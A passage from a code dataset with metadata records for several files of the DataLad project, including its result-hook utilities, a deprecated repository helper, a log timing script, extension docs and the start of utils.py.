attrs_cfg = (\\n ('config', 'annex.largefiles', 'nothing'),\\n )\\n attrs = tbrepo.get_gitattributes(\\n [op.join('.datalad', i[0]) for i in attrs_cfg])\\n set_attrs = []\\n for p, k, v in attrs_cfg:\\n if not attrs.get(\\n op.join('.datalad', p), {}).get(k, None) == v:\\n set_attrs.append((p, {k: v}))\\n if set_attrs:\\n tbrepo.set_gitattributes(\\n set_attrs,\\n attrfile=op.join('.datalad', '.gitattributes'))\\n\\n # prevent git annex from ever annexing .git* stuff (gh-1597)\\n attrs = tbrepo.get_gitattributes('.git')\\n if not attrs.get('.git', {}).get(\\n 'annex.largefiles', None) == 'nothing':\\n tbrepo.set_gitattributes([\\n ('**/.git*', {'annex.largefiles': 'nothing'})])\\n # must use the repo.pathobj as this will have resolved symlinks\\n add_to_git[tbrepo.pathobj / '.gitattributes'] = {\\n 'type': 'file',\\n 'state': 'untracked'}\\n return tbrepo, add_to_git\\n\"\n },\n {\n \"alpha_fraction\": 0.5891954898834229,\n \"alphanum_fraction\": 0.5913978219032288,\n \"avg_line_length\": 35.58293914794922,\n \"blob_id\": \"bb7163887fbe802527625d66a979b6154d528b2d\",\n \"content_id\": \"65a7bfeede05fcb93f4f16e9d2e42440087d4f0b\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 7719,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 211,\n \"path\": \"/datalad/core/local/resulthooks.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Utility functions for result hooks\\n\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport logging\\nimport json\\n\\nfrom datalad.support.exceptions import CapturedException\\n\\nlgr = logging.getLogger('datalad.core.local.resulthooks')\\n\\n\\ndef get_jsonhooks_from_config(cfg):\\n \\\"\\\"\\\"Parse out hook definitions given a ConfigManager instance\\n\\n Returns\\n -------\\n dict\\n where keys are hook names/labels, and each value is a dict with\\n three keys: 'cmd' contains the name of the to-be-executed DataLad\\n command; 'args' has a JSON-encoded string with a dict of keyword\\n arguments for the command (format()-language based placeholders\\n can be present); 'match' holds a JSON-encoded string representing\\n a dict with key/value pairs that need to match a result in order\\n for a hook to be triggered.\\n \\\"\\\"\\\"\\n hooks = {}\\n for h in cfg.keys():\\n if not (h.startswith('datalad.result-hook.') and h.endswith('.match-json')):\\n continue\\n hook_basevar = h[:-11]\\n hook_name = hook_basevar[20:]\\n # do not use a normal `get()` here, because it reads the committed dataset\\n # config too. That means a datalad update can silently bring in new\\n # procedure definitions from the outside, and in some sense enable\\n # remote code execution by a 3rd-party\\n call = cfg.get_from_source(\\n 'local',\\n '{}.call-json'.format(hook_basevar),\\n None\\n )\\n if not call:\\n lgr.warning(\\n 'Incomplete result hook configuration %s in %s' % (\\n hook_basevar, cfg))\\n continue\\n # split command from any args\\n call = call.split(maxsplit=1)\\n # get the match specification in JSON format\\n try:\\n match = json.loads(cfg.get(h))\\n except Exception as e:\\n ce = CapturedException(e)\\n lgr.warning(\\n 'Invalid match specification in %s: %s [%s], '\\n 'hook will be skipped',\\n h, cfg.get(h), ce)\\n continue\\n\\n hooks[hook_name] = dict(\\n cmd=call[0],\\n # support no-arg calls too\\n args=call[1] if len(call) > 1 else '{{}}',\\n match=match,\\n )\\n return hooks\\n\\n\\ndef match_jsonhook2result(hook, res, match):\\n \\\"\\\"\\\"Evaluate a hook's result match definition against a concrete result\\n\\n A match definition is a dict that can contain any number of keys. For each\\n key it is tested, if the value matches the one in a given result.\\n If all present key/value pairs match, the hook is executed. In addition to\\n ``==`` tests, ``in``, ``not in``, and ``!=`` tests are supported. The\\n test operation can be given by wrapping the test value into a list, the\\n first item is the operation label 'eq', 'neq', 'in', 'nin'; the second value\\n is the test value (set). Example::\\n\\n {\\n \\\"type\\\": [\\\"in\\\", [\\\"file\\\", \\\"directory\\\"]],\\n \\\"action\\\": \\\"get\\\",\\n \\\"status\\\": \\\"notneeded\\\"\\n }\\n\\n If a to be tested value is a list, an 'eq' operation needs to be specified\\n explicitly in order to disambiguate the definition.\\n\\n Parameters\\n ----------\\n hook : str\\n Name of the hook\\n res : dict\\n Result dictionary\\n match : dict\\n Match definition (see above for details).\\n\\n Returns\\n -------\\n bool\\n True if the given result matches the hook's match definition, or\\n False otherwise.\\n \\\"\\\"\\\"\\n for k, v in match.items():\\n # do not test 'k not in res', because we could have a match that\\n # wants to make sure that a particular value is not present, and\\n # not having the key would be OK in that case\\n\\n # in case the target value is an actual list, an explicit action 'eq'\\n # must be given\\n action, val = (v[0], v[1]) if isinstance(v, list) else ('eq', v)\\n if action == 'eq':\\n if k in res and res[k] == val:\\n continue\\n elif action == 'neq':\\n if k not in res or res[k] != val:\\n continue\\n elif action == 'in':\\n if k in res and res[k] in val:\\n continue\\n elif action == 'nin':\\n if k not in res or res[k] not in val:\\n continue\\n else:\\n lgr.warning(\\n 'Unknown result comparison operation %s for hook %s, skipped',\\n action, hook)\\n # indentation level is intended!\\n return False\\n return True\\n\\n\\ndef run_jsonhook(hook, spec, res, dsarg=None):\\n \\\"\\\"\\\"Execute a hook on a given result\\n\\n A hook definition's 'call' specification may contain placeholders that\\n will be expanded using matching values in the given result record. In\\n addition to keys in the result a '{dsarg}' placeholder is supported.\\n The characters '{' and '}' in the 'call' specification that are not part\\n of format() placeholders have to be escaped as '{{' and '}}'. Example\\n 'call' specification to execute the DataLad ``unlock`` command::\\n\\n unlock {{\\\"dataset\\\": \\\"{dsarg}\\\", \\\"path\\\": \\\"{path}\\\"}}\\n\\n Parameters\\n ----------\\n hook : str\\n Name of the hook\\n spec : dict\\n Hook definition as returned by `get_hooks_from_config()`\\n res : dict\\n Result records that were found to match the hook definition.\\n dsarg : Dataset or str or None, optional\\n Value to substitute a {dsarg} placeholder in a hook 'call' specification\\n with. Non-string values are automatically converted.\\n\\n Yields\\n ------\\n dict\\n Any result yielded by the command executed as hook.\\n \\\"\\\"\\\"\\n import datalad.api as dl\\n cmd_name = spec['cmd']\\n if not hasattr(dl, cmd_name):\\n # TODO maybe a proper error result?\\n lgr.warning(\\n 'Hook %s requires unknown command %s, skipped',\\n hook, cmd_name)\\n return\\n cmd = getattr(dl, cmd_name)\\n # apply potential substitutions on the string form of the args\\n # for this particular result\\n # take care of proper JSON encoding for each value\\n enc = json.JSONEncoder().encode\\n # we have to ensure JSON encoding of all values (some might be Path instances),\\n # we are taking off the outer quoting, to enable flexible combination\\n # of individual items in supplied command and argument templates\\n args = spec['args'].format(\\n # we cannot use a dataset instance directly but must take the\\n # detour over the path location in order to have string substitution\\n # be possible\\n dsarg='' if dsarg is None else enc(dsarg.path).strip('\\\"')\\n if isinstance(dsarg, dl.Dataset) else enc(dsarg).strip('\\\"'),\\n # skip any present logger that we only carry for internal purposes\\n **{k: enc(str(v)).strip('\\\"') for k, v in res.items() if k != 'logger'})\\n # now load\\n try:\\n args = json.loads(args)\\n except Exception as e:\\n ce = CapturedException(e)\\n lgr.warning(\\n 'Invalid argument specification for hook %s '\\n '(after parameter substitutions): %s [%s], '\\n 'hook will be skipped',\\n hook, args, ce)\\n return\\n # only debug level, the hook can issue its own results and communicate\\n # through them\\n lgr.debug('Running hook %s: %s%s', hook, cmd_name, args)\\n for r in cmd(**args):\\n yield r\\n\"\n },\n {\n \"alpha_fraction\": 0.6001886129379272,\n \"alphanum_fraction\": 0.605374813079834,\n \"avg_line_length\": 31.136363983154297,\n \"blob_id\": \"c02a7f55376863700d46de8b2f7bb1a4b156177c\",\n \"content_id\": \"180e293db425274ae3dad4ed6fc7de13f83a6f19\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2121,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 66,\n \"path\": \"/datalad/cmdline/helpers.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"\\n\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nimport os\\nimport warnings\\n\\nfrom logging import getLogger\\nlgr = getLogger('datalad.cmdline')\\n\\n\\ndef get_repo_instance(path=os.curdir, class_=None):\\n \\\"\\\"\\\"Returns an instance of appropriate datalad repository for path.\\n Check whether a certain path is inside a known type of repository and\\n returns an instance representing it. May also check for a certain type\\n instead of detecting the type of repository.\\n\\n .. deprecated:: 0.16\\n Use the pattern `Dataset(get_dataset_root(path)).repo` instead. This\\n function will be removed in a future release.\\n\\n Parameters\\n ----------\\n path: str\\n path to check; default: current working directory\\n class_: class\\n if given, check whether path is inside a repository, that can be\\n represented as an instance of the passed class.\\n\\n Raises\\n ------\\n RuntimeError, in case cwd is not inside a known repository.\\n \\\"\\\"\\\"\\n warnings.warn(\\\"get_repo_instance() was deprecated in 0.16. \\\"\\n \\\"It will be removed in a future release.\\\",\\n DeprecationWarning)\\n\\n from datalad.utils import get_dataset_root\\n from datalad.distribution.dataset import Dataset\\n from datalad.support.annexrepo import AnnexRepo\\n from datalad.support.gitrepo import GitRepo\\n\\n if class_ is not None:\\n if class_ == AnnexRepo:\\n type_ = \\\"annex\\\"\\n elif class_ == GitRepo:\\n type_ = \\\"git\\\"\\n else:\\n raise RuntimeError(\\\"Unknown class %s.\\\" % str(class_))\\n else:\\n type_ = ''\\n\\n dsroot = get_dataset_root(path)\\n if not dsroot:\\n raise RuntimeError(f\\\"No {type_}s repository found at {path}.\\\")\\n\\n return Dataset(dsroot).repo\\n\"\n },\n {\n \"alpha_fraction\": 0.53515625,\n \"alphanum_fraction\": 0.5559895634651184,\n \"avg_line_length\": 25.947368621826172,\n \"blob_id\": \"5caffa6956c8c07d323d6aef72b934a90b00a785\",\n \"content_id\": \"206df023413dcc3ca4543b7f35d4a74135eed0a9\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1536,\n \"license_type\": \"permissive\",\n \"max_line_length\": 95,\n \"num_lines\": 57,\n \"path\": \"/tools/dtime\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python3\\n#emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n#ex: set sts=4 ts=4 sw=4 noet:\\n\\\"\\\"\\\"Little helper to annotate logfile with difference between timestamps in consecutive lines\\n\\nIt prints time estimated from previous line on the previous line, with 0 always printed as well\\nso it becomes possible to sort -n the output to see from what line it took longest to the next\\n\\\"\\\"\\\"\\n\\nimport sys\\nimport re\\nfrom datetime import datetime\\n\\nreg = re.compile('^\\\\d{4}-\\\\d{2}-\\\\d{1,2} \\\\d{1,2}:\\\\d{1,2}:\\\\d{1,2},\\\\d{1,3}')\\nprevt = None\\nmaxl = 0\\nprevl = None\\n\\nif len(sys.argv) <= 1:\\n in_ = sys.stdin\\nelse:\\n in_ = open(sys.argv[1])\\n\\ntrailer = []\\nfor l in in_:\\n res = reg.search(l)\\n dtstr = ''\\n if res:\\n end = res.end()\\n t = datetime.strptime(l[:end], '%Y-%m-%d %H:%M:%S,%f')\\n if prevt is not None:\\n dt = t - prevt\\n ms = dt.microseconds // 1000 + dt.seconds*1000\\n dtstr = (\\\"%5d\\\" % ms if ms else ' 0')\\n\\n maxl = max(maxl, len(dtstr))\\n dtstr = '%%%ds' % maxl % dtstr\\n prevl = \\\"%s %s\\\" % (dtstr, prevl)\\n prevt = t\\n else:\\n # no timestamp -- add to the trailer\\n trailer.append(l)\\n continue\\n\\n if prevl is not None:\\n for l_ in trailer:\\n sys.stdout.write(\\\" - \\\" + l_)\\n trailer = []\\n sys.stdout.write(prevl)\\n\\n if res:\\n prevl = l\\n\\nif prevl:\\n sys.stdout.write(\\\"----- \\\" + prevl)\\nfor l_ in trailer:\\n sys.stdout.write(\\\" - \\\" + l_)\\n\"\n },\n {\n \"alpha_fraction\": 0.7659003734588623,\n \"alphanum_fraction\": 0.7678160667419434,\n \"avg_line_length\": 44.78947448730469,\n \"blob_id\": \"fc573835727e2af922fcc3dc78b05c939b8330e5\",\n \"content_id\": \"88620655adfba20e2af82a6a2feb828610172f27\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 2610,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 57,\n \"path\": \"/docs/source/customization.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_customization:\\n\\n********************************************\\nCustomization and extension of functionality\\n********************************************\\n\\nDataLad provides numerous commands that cover many use cases. However, there\\nwill always be a demand for further customization or extensions of built-in\\nfunctionality at a particular site, or for an individual user. DataLad\\naddresses this need with a mechanism for extending particular DataLad\\nfunctionality, such as metadata extractor, or providing entire command suites\\nfor a specialized purpose.\\n\\nAs the name suggests, a :term:`DataLad extension` package is a proper Python package.\\nConsequently, there is a significant amount of boilerplate code involved in the\\ncreation of a new DataLad extension. However, this overhead enables a number of\\nuseful features for extension developers:\\n\\n- extensions can provide any number of additional commands that can be grouped into\\n labeled command suites, and are automatically exposed via the standard DataLad commandline\\n and Python API\\n- extensions can define `entry_points` for any number of additional metadata extractors\\n that become automatically available to DataLad\\n- extensions can define `entry_points` for their test suites, such that the standard `datalad create`\\n command will automatically run these tests in addition to the tests shipped with DataLad core\\n- extensions can ship additional dataset procedures by installing them into a\\n directory ``resources/procedures`` underneath the extension module directory\\n\\n\\nUsing an extension\\n==================\\n\\nA :term:`DataLad extension` is a standard Python package. Beyond installation of the package there is\\nno additional setup required.\\n\\n\\nWriting your own extensions\\n===========================\\n\\nA good starting point for implementing a new extension is the \\\"helloworld\\\" demo extension\\navailable at https://github.com/datalad/datalad-extension-template. This repository can be cloned\\nand adjusted to suit one's needs. It includes:\\n\\n- a basic Python package setup\\n- simple demo command implementation\\n- Travis test setup\\n\\nA more complex extension setup can be seen in the DataLad Neuroimaging\\nextension: https://github.com/datalad/datalad-neuroimaging, including additional metadata extractors,\\ntest suite registration, and a sphinx-based documentation setup for a DataLad extension.\\n\\nAs a DataLad extension is a standard Python package, an extension should declare\\ndependencies on an appropriate DataLad version, and possibly other extensions\\nvia the standard mechanisms.\\n\"\n },\n {\n \"alpha_fraction\": 0.6034966111183167,\n \"alphanum_fraction\": 0.6084591150283813,\n \"avg_line_length\": 32.856590270996094,\n \"blob_id\": \"4bd14d9331ffde880c4608d7ab608342396595c7\",\n \"content_id\": \"5e211351ab9193be24dbf7a2b2ccf84c8c8768f6\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 96322,\n \"license_type\": \"permissive\",\n \"max_line_length\": 176,\n \"num_lines\": 2845,\n \"path\": \"/datalad/utils.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nfrom __future__ import annotations\\n\\nimport builtins\\nimport collections\\nimport gc\\nimport glob\\nimport gzip\\nimport inspect\\nimport logging\\nimport os\\nimport os.path as op\\nimport platform\\nimport posixpath\\nimport re\\nimport shutil\\nimport stat\\nimport string\\nimport sys\\nimport tempfile\\nimport threading\\nimport time\\nimport warnings\\nfrom collections.abc import (\\n Callable,\\n Iterable,\\n Iterator,\\n Sequence,\\n)\\nfrom contextlib import contextmanager\\nfrom copy import copy as shallow_copy\\nfrom functools import (\\n lru_cache,\\n wraps,\\n)\\nfrom itertools import tee\\n# this import is required because other modules import opj from here.\\nfrom os.path import (\\n abspath,\\n basename,\\n commonprefix,\\n curdir,\\n dirname,\\n exists,\\n expanduser,\\n expandvars,\\n isabs,\\n isdir,\\n islink,\\n)\\nfrom os.path import join as opj\\nfrom os.path import (\\n lexists,\\n normpath,\\n pardir,\\n relpath,\\n sep,\\n split,\\n splitdrive,\\n)\\nfrom pathlib import (\\n Path,\\n PurePath,\\n PurePosixPath,\\n)\\nfrom shlex import quote as shlex_quote\\nfrom shlex import split as shlex_split\\nfrom tempfile import NamedTemporaryFile\\nfrom time import sleep\\nfrom types import (\\n ModuleType,\\n TracebackType,\\n)\\nfrom typing import (\\n IO,\\n Any,\\n Dict,\\n List,\\n NamedTuple,\\n Optional,\\n TextIO,\\n Tuple,\\n TypeVar,\\n Union,\\n cast,\\n overload,\\n)\\n\\n# from datalad.dochelpers import get_docstring_split\\nfrom datalad.consts import TIMESTAMP_FMT\\nfrom datalad.support.exceptions import CapturedException\\nfrom datalad.typing import (\\n K,\\n Literal,\\n P,\\n T,\\n V,\\n)\\n\\n# handle this dance once, and import pathlib from here\\n# in all other places\\n\\nlgr = logging.getLogger(\\\"datalad.utils\\\")\\n\\nlgr.log(5, \\\"Importing datalad.utils\\\")\\n#\\n# Some useful variables\\n#\\nplatform_system = platform.system().lower()\\non_windows = platform_system == 'windows'\\non_osx = platform_system == 'darwin'\\non_linux = platform_system == 'linux'\\n\\n# COPY_BUFSIZE sort of belongs into datalad.consts, but that would lead to\\n# circular import due to `on_windows`\\ntry:\\n from shutil import COPY_BUFSIZE # type: ignore[attr-defined]\\nexcept ImportError: # pragma: no cover\\n # too old\\n from datalad.utils import on_windows\\n\\n # from PY3.10\\n COPY_BUFSIZE = 1024 * 1024 if on_windows else 64 * 1024\\n\\n\\n# Takes ~200msec, so should not be called at import time\\n@lru_cache() # output should not change through life time of datalad process\\ndef get_linux_distribution() -> tuple[str, str, str]:\\n \\\"\\\"\\\"Compatibility wrapper for {platform,distro}.linux_distribution().\\n \\\"\\\"\\\"\\n if hasattr(platform, \\\"linux_distribution\\\"):\\n # Use deprecated (but faster) method if it's available.\\n with warnings.catch_warnings():\\n warnings.filterwarnings(\\\"ignore\\\", category=DeprecationWarning)\\n result = platform.linux_distribution()\\n else:\\n import distro # We require this for Python 3.8 and above.\\n return (\\n distro.id(),\\n distro.version(),\\n distro.codename(),\\n )\\n return result\\n\\n\\n# Those weren't used for any critical decision making, thus we just set them to None\\n# Use get_linux_distribution() directly where needed\\nlinux_distribution_name = linux_distribution_release = None\\n\\n# Maximal length of cmdline string\\n# Query the system and use hardcoded \\\"knowledge\\\" if None\\n# probably getconf ARG_MAX might not be available\\n# The last one would be the most conservative/Windows\\nCMD_MAX_ARG_HARDCODED = 2097152 if on_linux else 262144 if on_osx else 32767\\ntry:\\n CMD_MAX_ARG = os.sysconf('SC_ARG_MAX')\\n assert CMD_MAX_ARG > 0\\n if CMD_MAX_ARG > CMD_MAX_ARG_HARDCODED * 1e6:\\n # workaround for some kind of a bug which comes up with python 3.4\\n # see https://github.com/datalad/datalad/issues/3150\\n # or on older CentOS with conda and python as new as 3.9\\n # see https://github.com/datalad/datalad/issues/5943\\n # TODO: let Yarik know that the world is a paradise now whenever 1e6\\n # is not large enough\\n CMD_MAX_ARG = min(CMD_MAX_ARG, CMD_MAX_ARG_HARDCODED)\\nexcept Exception as exc:\\n # ATM (20181005) SC_ARG_MAX available only on POSIX systems\\n # so exception would be thrown e.g. on Windows, or\\n # somehow during Debian build for nd14.04 it is coming up with -1:\\n # https://github.com/datalad/datalad/issues/3015\\n CMD_MAX_ARG = CMD_MAX_ARG_HARDCODED\\n lgr.debug(\\n \\\"Failed to query or got useless SC_ARG_MAX sysconf, \\\"\\n \\\"will use hardcoded value: %s\\\", exc)\\n# Even with all careful computations we do, due to necessity to account for\\n# environment and what not, we still could not figure out \\\"exact\\\" way to\\n# estimate it, but it was shown that 300k safety margin on linux was sufficient.\\n# https://github.com/datalad/datalad/pull/2977#issuecomment-436264710\\n# 300k is ~15%, so to be safe, and for paranoid us we will just use up to 50%\\n# of the length for \\\"safety margin\\\". We might probably still blow due to\\n# env vars, unicode, etc... so any hard limit imho is not a proper solution\\nCMD_MAX_ARG = int(0.5 * CMD_MAX_ARG)\\nlgr.debug(\\n \\\"Maximal length of cmdline string (adjusted for safety margin): %d\\\",\\n CMD_MAX_ARG)\\n\\n#\\n# Little helpers\\n#\\n\\n# `getargspec` has been deprecated in Python 3.\\nclass ArgSpecFake(NamedTuple):\\n args: list[str]\\n varargs: Optional[str]\\n keywords: Optional[str]\\n defaults: Optional[tuple[Any, ...]]\\n\\n\\n# adding cache here somehow does break it -- even 'datalad wtf' does not run\\n# @lru_cache() # signatures stay the same, why to \\\"redo\\\"? brings it into ns from mks\\ndef getargspec(func: Callable[..., Any], *, include_kwonlyargs: bool=False) -> ArgSpecFake:\\n \\\"\\\"\\\"Compat shim for getargspec deprecated in python 3.\\n\\n The main difference from inspect.getargspec (and inspect.getfullargspec\\n for that matter) is that by using inspect.signature we are providing\\n correct args/defaults for functools.wraps'ed functions.\\n\\n `include_kwonlyargs` option was added to centralize getting all args,\\n even the ones which are kwonly (follow the ``*,``).\\n\\n For internal use and not advised for use in 3rd party code.\\n Please use inspect.signature directly.\\n \\\"\\\"\\\"\\n # We use signature, and not getfullargspec, because only signature properly\\n # \\\"passes\\\" args from a functools.wraps decorated function.\\n # Note: getfullargspec works Ok on wrapt-decorated functions\\n f_sign = inspect.signature(func)\\n # Loop through parameters and compose argspec\\n args: list[str] = []\\n varargs: Optional[str] = None\\n keywords: Optional[str] = None\\n defaults: dict[str, Any] = {}\\n # Collect all kwonlyargs into a dedicated dict - name: default\\n kwonlyargs: dict[str, Any] = {}\\n P = inspect.Parameter\\n\\n for p_name, p in f_sign.parameters.items():\\n if p.kind in (P.POSITIONAL_ONLY, P.POSITIONAL_OR_KEYWORD):\\n assert not kwonlyargs # yoh: must not come after kwonlyarg\\n args.append(p_name)\\n if p.default is not P.empty:\\n defaults[p_name] = p.default\\n elif p.kind == P.VAR_POSITIONAL:\\n varargs = p_name\\n elif p.kind == P.VAR_KEYWORD:\\n keywords = p_name\\n elif p.kind == P.KEYWORD_ONLY:\\n assert p.default is not P.empty\\n kwonlyargs[p_name] = p.default\\n\\n if kwonlyargs:\\n if not include_kwonlyargs:\\n raise ValueError(\\n 'Function has keyword-only parameters or annotations, either use '\\n 'inspect.signature() API which can support them, or provide include_kwonlyargs=True '\\n 'to this function'\\n )\\n else:\\n args.extend(list(kwonlyargs))\\n defaults.update(kwonlyargs)\\n\\n # harmonize defaults to how original getargspec returned them -- just a tuple\\n d_defaults = None if not defaults else tuple(defaults.values())\\n return ArgSpecFake(args, varargs, keywords, d_defaults)\\n\\n\\n# Definitions to be (re)used in the next function\\n_SIG_P = inspect.Parameter\\n_SIG_KIND_SELECTORS: dict[str, set[int]] = {\\n 'pos_only': {_SIG_P.POSITIONAL_ONLY,},\\n 'pos_any': {_SIG_P.POSITIONAL_ONLY, _SIG_P.POSITIONAL_OR_KEYWORD},\\n 'kw_any': {_SIG_P.POSITIONAL_OR_KEYWORD, _SIG_P.KEYWORD_ONLY},\\n 'kw_only': {_SIG_P.KEYWORD_ONLY,},\\n}\\n_SIG_KIND_SELECTORS['any'] = set().union(*_SIG_KIND_SELECTORS.values())\\n\\n\\n@lru_cache() # signatures stay the same, why to \\\"redo\\\"? brings it into ns from mks\\ndef get_sig_param_names(f: Callable[..., Any], kinds: tuple[str, ...]) -> tuple[list[str], ...]:\\n \\\"\\\"\\\"A helper to selectively return parameters from inspect.signature.\\n\\n inspect.signature is the ultimate way for introspecting callables. But\\n its interface is not so convenient for a quick selection of parameters\\n (AKA arguments) of desired type or combinations of such. This helper\\n should make it easier to retrieve desired collections of parameters.\\n\\n Since often it is desired to get information about multiple specific types\\n of parameters, `kinds` is a list, so in a single invocation of `signature`\\n and looping through the results we can obtain all information.\\n\\n Parameters\\n ----------\\n f: callable\\n kinds: tuple with values from {'pos_any', 'pos_only', 'kw_any', 'kw_only', 'any'}\\n Is a list of what kinds of args to return in result (tuple). Each element\\n should be one of: 'any_pos' - positional or keyword which could be used\\n positionally. 'kw_only' - keyword only (cannot be used positionally) arguments,\\n 'any_kw` - any keyword (could be a positional which could be used as a keyword),\\n `any` -- any type from the above.\\n\\n Returns\\n -------\\n tuple:\\n Each element is a list of parameters (names only) of that \\\"kind\\\".\\n \\\"\\\"\\\"\\n selectors: list[set[int]] = []\\n for kind in kinds:\\n if kind not in _SIG_KIND_SELECTORS:\\n raise ValueError(f\\\"Unknown 'kind' {kind}. Known are: {', '.join(_SIG_KIND_SELECTORS)}\\\")\\n selectors.append(_SIG_KIND_SELECTORS[kind])\\n\\n out: list[list[str]] = [[] for _ in kinds]\\n for p_name, p in inspect.signature(f).parameters.items():\\n for i, selector in enumerate(selectors):\\n if p.kind in selector:\\n out[i].append(p_name)\\n\\n return tuple(out)\\n\\n\\ndef any_re_search(regexes: str | list[str], value: str) -> bool:\\n \\\"\\\"\\\"Return if any of regexes (list or str) searches successfully for value\\\"\\\"\\\"\\n for regex in ensure_tuple_or_list(regexes):\\n if re.search(regex, value):\\n return True\\n return False\\n\\n\\ndef not_supported_on_windows(msg: Optional[str]=None) -> None:\\n \\\"\\\"\\\"A little helper to be invoked to consistently fail whenever functionality is\\n not supported (yet) on Windows\\n \\\"\\\"\\\"\\n if on_windows:\\n raise NotImplementedError(\\\"This functionality is not yet implemented for Windows OS\\\"\\n + (\\\": %s\\\" % msg if msg else \\\"\\\"))\\n\\n\\ndef get_home_envvars(new_home: str | Path) -> dict[str, str]:\\n \\\"\\\"\\\"Return dict with env variables to be adjusted for a new HOME\\n\\n Only variables found in current os.environ are adjusted.\\n\\n Parameters\\n ----------\\n new_home: str or Path\\n New home path, in native to OS \\\"schema\\\"\\n \\\"\\\"\\\"\\n new_home = str(new_home)\\n out = {'HOME': new_home}\\n if on_windows:\\n # requires special handling, since it has a number of relevant variables\\n # and also Python changed its behavior and started to respect USERPROFILE only\\n # since python 3.8: https://bugs.python.org/issue36264\\n out['USERPROFILE'] = new_home\\n out['HOMEDRIVE'], out['HOMEPATH'] = splitdrive(new_home)\\n\\n return {v: val for v, val in out.items() if v in os.environ}\\n\\n\\ndef _is_stream_tty(stream: Optional[IO]) -> bool:\\n try:\\n # TODO: check on windows if hasattr check would work correctly and\\n # add value:\\n return stream is not None and stream.isatty()\\n except ValueError as exc:\\n # Who knows why it is a ValueError, but let's try to be specific\\n # If there is a problem with I/O - non-interactive, otherwise reraise\\n if \\\"I/O\\\" in str(exc):\\n return False\\n raise\\n\\n\\ndef is_interactive() -> bool:\\n \\\"\\\"\\\"Return True if all in/outs are open and tty.\\n\\n Note that in a somewhat abnormal case where e.g. stdin is explicitly\\n closed, and any operation on it would raise a\\n `ValueError(\\\"I/O operation on closed file\\\")` exception, this function\\n would just return False, since the session cannot be used interactively.\\n \\\"\\\"\\\"\\n return all(_is_stream_tty(s) for s in (sys.stdin, sys.stdout, sys.stderr))\\n\\n\\ndef get_ipython_shell() -> Optional[Any]:\\n \\\"\\\"\\\"Detect if running within IPython and returns its `ip` (shell) object\\n\\n Returns None if not under ipython (no `get_ipython` function)\\n \\\"\\\"\\\"\\n try:\\n return get_ipython() # type: ignore[name-defined]\\n except NameError:\\n return None\\n\\n\\ndef md5sum(filename: str | Path) -> str:\\n \\\"\\\"\\\"Compute an MD5 sum for the given file\\n \\\"\\\"\\\"\\n from datalad.support.digests import Digester\\n return Digester(digests=['md5'])(filename)['md5']\\n\\n\\n_encoded_dirsep = r'\\\\\\\\' if on_windows else r'/'\\n_VCS_REGEX = r'%s\\\\.(?:git|gitattributes|svn|bzr|hg)(?:%s|$)' % (\\n _encoded_dirsep, _encoded_dirsep)\\n_DATALAD_REGEX = r'%s\\\\.(?:datalad)(?:%s|$)' % (\\n _encoded_dirsep, _encoded_dirsep)\\n\\n\\ndef find_files(regex: str, topdir: str | Path = curdir, exclude: Optional[str]=None, exclude_vcs: bool =True, exclude_datalad: bool =False, dirs: bool =False) -> Iterator[str]:\\n \\\"\\\"\\\"Generator to find files matching regex\\n\\n Parameters\\n ----------\\n regex: string\\n exclude: string, optional\\n Matches to exclude\\n exclude_vcs:\\n If True, excludes commonly known VCS subdirectories. If string, used\\n as regex to exclude those files (regex: `%r`)\\n exclude_datalad:\\n If True, excludes 